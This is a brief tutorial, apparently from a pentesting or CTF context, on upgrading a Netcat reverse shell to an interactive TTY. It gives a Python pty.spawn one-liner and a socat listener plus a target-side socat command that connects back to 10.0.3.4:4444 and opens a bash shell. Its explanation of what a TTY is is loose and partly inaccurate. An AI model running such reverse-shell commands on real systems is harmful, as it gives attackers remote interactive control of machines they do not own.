Upgrading Netcat Shells To TTY


What is a Netcat Shell?

A Netcat or more commonly refered to as a reverse shell, is a shell in which the target machine calls back to your machine to recive a command to execute then returns the results to your machine, this is common as it bypasses firewalls ingress rules by just having traffic egress.

What is the point of upgrading to a TTY/what is a TTY?


First of all, a tty is what technical name for a shell, its the link between the terminal and the actual commands its executing. When we use a netcat shell its just running the commands we have no insight into them, if we want to use commands like su we need to have our own tty.

So how do we actually do it?


Well, one of the simplest methods if our target has python is to use the follow command python -c 'import pty; pty.spawn("/bin/bash")' Our second method we can use is socat, for this we use socat file:tty,raw,echo=0 tcp-listen:4444 to listen and socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 to launch the shell on our target. Hope that helps :)